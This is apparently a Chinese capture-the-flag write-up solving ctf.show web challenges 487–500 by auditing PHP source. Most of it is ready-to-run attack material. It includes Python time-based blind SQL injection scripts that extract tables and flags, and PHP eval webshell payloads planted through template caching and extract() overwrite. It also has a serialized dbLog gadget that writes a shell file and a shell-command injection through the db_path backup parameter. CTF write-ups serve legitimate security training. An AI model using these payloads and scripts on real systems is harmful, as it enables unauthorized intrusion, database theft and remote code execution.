web487
- 读取源码,发现
username
存在sql盲注
,跑脚本
import requests
url = "http://df8c5989-6a5e-4cb0-896c-1c36c71fa377.challenge.ctf.show:8080/index.php?action=check&username="
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
ret = ''
for x in range(1,10):
for y in strings:
payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
try:
response = requests.get(url+payload+end,timeout=2)
#print(response.url)
except:
ret+=y
print(ret)
return ret
def get_flag_columns():
columns = ''
for x in range(1,50):
for y in strings:
payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
columns += y
print(columns)
break
if y=='@':
break
return columns
def get_flag():
flag = ''
for x in range(17, 50):
for y in strings:
payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y =='@':
break
return flag
if __name__=='__main__':
#flag,user
ret=get_table_name()
print(ret)
#flag
#columns=get_flag_columns()
#flag = get_flag()
#print(flag)
#ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}
web488
- 查看源码,通过action参数把每个文件下载下来
index.php
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
由于不知道usename,password
,if语句
不会执行,执行else语句
跟进render
函数
render_class.php
class templateUtil {
public static function render($template,$arg=array()){//$template就是error
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php'); //读取error.php的内容
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);//把转换后的内容写进文件,注意写进之后文件内容就无法改变
echo $cache;
}
}
public static function shade($templateContent,$arg){ //$arg就是我们输入的username=我们输入的东西
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);//把键名换成值,这是我们可控的
}
return $templateContent;
}
}
跟进cache
类:
class cache{
public static function create_cache($template,$content){ //$templates是error
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
跟进fileUtil
类:
class fileUtil{
public static function read($filename){
return file_get_contents($filename);//读取文件内容
}
public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}
- 由上面的分析可以知道,我们可控的参数是
usename
- 由于不能调用if语句,而调用else语句,也就是调用
templateUtil
的静态render
方法,参数是error
以及我们输入的username
的值和username
组成的数组 render
函数中调用了cache
的静态函数,首先会判断/cache/md5(error).php
文件存不存在,不存在的话调用fileUtil
的静态read
函数,来读取templates/error.php
的内容(题目环境本身就有,而且该文件的内容有{{username}}
这样一个字符串)- 读取完文件的内容之后,把
{{username}}
中的username
替换成我们输入的内容(这里就想到能写入一句话),替换完之后,调用cache类的静态create_cache
函数,也就是把替换完之后的字符串写进cache/md5(error).php
文件中(这个文件就相当于一句话文件)
注意:
md5(error)需要转换成真正的md5值
执行过程:
- 重开环境写入一句话:
?action=check&username=<?php @eval($_POST[1]);?>&password=1
- 访问
cache/md5(error).php
,执行一句话
http://d50aae2e-5c83-49f0-b3e8-de3f61842acf.challenge.ctf.show:8080/cache/cb5e100e5a9a3e7f6d1fd97512215282.php
web489
扒源码:
if($action=='check'){ $sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1"; extract($_GET); $user=db::select_one($sql); if($user){ templateUtil::render('index',array('username'=>$username)); }else{ templateUtil::render('error'); } }
index.php
中不再允许error
写入,但是我们可以控制GET参数
,那么我们就可以重写sql语句
,通过if语句
执行写进一句话木马
?action=check&usename=<?php eval($_POST[1]);phpinfo();?>&sql=select 1;
直接访问/cache/6a992d5529f459a44fee58c733255e86.php
执行一句话
web490
index.php
页面,调用的参数查询结果的参数
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
在user
查到结果之后,调用username属性
,也就是将username
的字符串写进页面
查看其他页面:
cache类:
写的时候包含了短标签,所以我们只需要写一句话
?action=check&username=' union select 'eval($_POST[1]);' as username;%23&password=1
- 之后访问
cache/6a992d5529f459a44fee58c733255e86.php
,rce
web491
- 不能写马,继续利用sql延时注入
import requests
url = "http://40da41b8-5a42-4bc6-8e5e-13ba1b05e5ae.challenge.ctf.show/?action=check&username="
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
ret = ''
for x in range(1,10):
for y in strings:
payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
try:
response = requests.get(url+payload+end,timeout=2)
#print(response.url)
except:
ret+=y
print(ret)
return ret
def get_flag_columns():
columns = ''
for x in range(1,50):
for y in strings:
payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
columns += y
print(columns)
break
if y=='@':
break
return columns
def get_flag():
flag = ''
for x in range(17, 50):
for y in strings:
payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y =='@':
break
return flag
def get_flag2():
flag = ''
for x in range(1, 50):
for y in strings:
payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y == '@':
break
return flag
if __name__=='__main__':
#flag,user
ret=get_table_name()
print(ret)
#flag
#columns=get_flag_columns()
flag = get_flag2()
print(flag)
#ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}
#ctfshow{a39a6668-e2b3-4039-89df-1c3a6580d983}
修改payload:
payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
x, y)
web492
- 看源码:
$action=$_GET['action'];
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){//$user没有初始化
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
cache_class.php
public static function shade($templateContent,$arg){ //参数是一个数组
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<?='.$value.'?>', $templateContent); //尝试绕过数组
}
return $templateContent;
}
extract
覆盖$user
的值,绕过注释,并且$user
必须是个数组(参数限制)
?action=check&user[username]=A--><?php eval($_POST[1]);?><!--B&username=!&password=1
- 访问
cache/6a992d5529f459a44fee58c733255e86.php
页面:
web493
- 查看源码
index.php:
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
- 如果没有
action
,则会检查cookie
的user
值存不存在,如果存在则调用反序列化, - 提交了
action
,如果action=check
则会调用反序列户的方法,将cookie
里的user
值进行反序列
db_class.php
:
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
- 这个类的析构函数调用时,会写入文件,而且由于
cookie的参数
可控,那么dblog
的属性也可控
解题方法:
先
check
覆盖user
(添加cookie
值)- 获取
user值
的序列化字符串
<?php class dbLog{ public $sql; public $content = '<?php eval($_POST[1]);?>'; public $log; public function __construct(){ $this->log='/var/www/html/1.php'; } public function __destruct(){ file_put_contents($this->log, $this->content,FILE_APPEND); } } $a = new dblog(); echo urlencode(serialize($a)); O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3B%7D
- 获取
?action=check&user=O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F1.php%22%3B%7D
- 不添加
action
访问一遍主页,之后访问1.php
,密码是1,执行rce
web494
- 尝试利用sql查询,因为
$user
是查询结果,会被输出
?action=check&username=' || if(2>1,sleep(3),1);%23
存在延时,由于不知道列名,使用无列名注入
截取第一行:
尝试盲注:
?action=check&username=' || if((substr((select `3` from(select 1,2,3 union select * from flag)a limit 1,1),1,1)='c'),sleep(3),1);%23
之前的sql脚本
加一个get_flag3()
:
import requests
url = "http://099d2692-4e28-4d34-a231-0af180b032a7.challenge.ctf.show/index.php?action=check&username="
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name():
ret = ''
for x in range(1,10):
for y in strings:
payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1)--+".format(x,y)
try:
response = requests.get(url+payload+end,timeout=2)
#print(response.url)
except:
ret+=y
print(ret)
return ret
def get_flag_columns():
columns = ''
for x in range(1,50):
for y in strings:
payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
columns += y
print(columns)
break
if y=='@':
break
return columns
def get_flag():
flag = ''
for x in range(17, 50):
for y in strings:
payload = "') union select if(substr((select flag from flag),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y =='@':
break
return flag
def get_flag2():
flag = ''
for x in range(1, 50):
for y in strings:
payload = "' or 1=1 and if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1)--+".format(
x, y)
try:
response = requests.get(url + payload + end, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y == '@':
break
return flag
def get_flag3():
flag = ''
for x in range(1, 50):
for y in strings:
payload = "'|| if((substr((select `3` from(select 1,2,3 union select * from flag)a limit 1,1),{},1)='{}'),sleep(2),1)%23".format(x,y)
try:
response = requests.get(url + payload, timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y == '@':
break
return flag
if __name__=='__main__':
#flag,user
#ret=get_table_name()
#print(ret)
#flag
#columns=get_flag_columns()
#flag = get_flag2()
#print(flag)
flag = get_flag3()
print(flag)
#ctfshow{5dedc595-d2ef-43be-a2c0-988d91795221}
或者,直接在username进行无列名注入:
?action=check&username=' union select `3` from(select 1,2,3 union select * from flag)a limit 1,1;%23
web495
- 拿脚本爆表名:
import requests
url = "http://9480fc2e-cef0-4989-a635-1f74ed79e631.challenge.ctf.show/index.php?action=check"
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name_by_post():
ret = ''
for x in range(1, 10):
for y in strings:
try:
data = {
'username': "' union select 1,if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1);#".format(x, y),
'password':"1"
}
response = requests.post(url,data=data, timeout=2)
# print(response.url)
except:
ret += y
print(ret)
break
if y=='@':
break
return ret
if __name__=='__main__':
table_name=get_table_name_by_post()
print(table_name)
- 查列名:
import requests
url = "http://24dd7c9d-31b5-4614-a1e3-a85105be90ed.challenge.ctf.show/index.php?action=check"
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_table_name_by_post():
ret = ''
for x in range(1, 20):
for y in strings:
try:
data = {
'username': "' union select 1,if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(2),1);#".format(x,y),
'password':"1"
}
response = requests.post(url,data=data, timeout=2)
# print(response.url)
except:
ret += y
print(ret)
break
if y=='@':
break
return ret
def get_column_name_by_post():
ret = ''
for x in range(1, 40):
for y in strings:
try:
data = {
'username': "' union select 1,if(substr((select column_name from information_schema.columns where table_name='flagyoudontknow' limit 2,1),{},1)='{}',sleep(2),1);#".format(x,y),
'password':"1"
}
response = requests.post(url,data=data, timeout=2)
#print(response.url)
except:
ret += y
print(ret)
break
if y=='@':
break
if __name__=='__main__':
column_name=get_column_name_by_post()
print(column_name)
- 爆flag
import requests
url = "http://24dd7c9d-31b5-4614-a1e3-a85105be90ed.challenge.ctf.show/index.php?action=check"
end = "&password=1"
strings ="}abcdefghijklmnopqrstuvwxyz0123456789{,-@"
def get_flag_by_post():
flag = ''
for x in range(1, 50):
for y in strings:
try:
data = {
'username': "' union select 1,if(substr((select flagisherebutyouneverknow from flagyoudontknow),{},1)='{}',sleep(2),1);#".format(
x, y),
'password': "1"
}
response = requests.post(url,data=data,timeout=2)
# print(response.url)
except:
flag += y
print(flag)
break
if y =='@':
break
return flag
if __name__=='__main__':
flag = get_flag_by_post()
print(flag)
web496
- 查看
index.php
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
render_class.php
:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:52:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-14 09:23:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
render函数
不能写,我们无法利用写shell
尝试一下注入
username=' union select 1,2%23
- 修改昵称尝试抓包
读取源码:
api/admin_edit.php
:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-15 04:27:41
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-15 05:36:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
- 由图可知登陆名称是
username
,显示名称是nickname
sql语句
中可能存在注入,尝试盲注
- 上面的
1
就是username
中存在sql注入
,尝试修改1为sql语句
,而且sql语句还过滤了or
访问
api/admin_edit.php
会发现有延时$user['name']
很显然可以被我们覆盖,所以写脚本逻辑:- 先访问
?admin=check
,传递username
参数,获取session值 - 再访问
api/admin_edit.php
,由于session
值满足if条件
,我们直接覆盖$user['username']
,进行sql注入
- 先访问
写脚本:
import requests
import random
url1 = "http://8741a903-9c0f-4f32-b6b0-8768b429fbad.challenge.ctf.show/index.php?action=check"
url2 = "http://8741a903-9c0f-4f32-b6b0-8768b429fbad.challenge.ctf.show/api/admin_edit.php"
data = {
'username':"' || 1#",
'password': "1"
}
session = requests.session()
session.post(url=url1,data=data)
flag = ''
for i in range(1,60):
header = 32
tail = 127
while header<tail:
mid = (header+tail)>>1
#payload="' or if((ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))>{}),1,0)#".format(i,mid)
#flagyoudontknow76,user
#payload = "' or if((ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema=database() and table_name='flagyoudontknow76')),{},1))>{}),1,0)#".format(i, mid)
#id,tempdatayouneverknowit32,flagisherebutyouneverknow118
payload = "' or if((ascii(substr((select/**/flagisherebutyouneverknow118/**/from/**/flagyoudontknow76),{},1))>{}),1,0)#".format(i, mid)
data = {
"user[username]": payload,
'nickname':random.randint(0,9999999)
}
response = session.post(url=url2,data=data)
if 'u529f' in response.text:
header = mid + 1
else:
tail = mid
if header!=32:
flag+=chr(header)
print(flag)
else:
break
web497
- 查看代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-15 07:34:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(!preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}
- 先登录管理员账号:
?action=check
POST:
username=' || 1#&password=1
- 尝试修改头像
- 这个页面也可以看到
api/admin_edit.php
,读取源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-15 04:27:41
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-15 07:45:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$user= $_SESSION['user'];
if(preg_match('/\'|\"|\\\/', $avatar)){//过滤了单双引好和反斜线
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";//可以对$avatar进行覆盖
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
- 访问
api/admin_edit.php
,提交avatar参数
修改为flag文件
- 确保修改成功之后,在管理后台右键检查
- base64解码:
web498
- 先登录上去,后台管理页面查看源代码
查看
api/index.php
代码利用工具生成
gopher
请求,直接修改头像地址
web499
- 登陆进后台页面,尝试修改信息
- 查看
render/render_class.php
页面源代码
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
- 查看
config/settings.php
代码
- 直接
rce
了
web500
- 登陆进管理后台,发现有新的数据库管理界面,右键查看源代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-16 17:22:29
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-16 19:17:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
$db_path
可控,payload
post:
1;echo '<?php eval($_POST[1]);?>' > /var/www/html/1.php
- 访问
1.php
,进行rce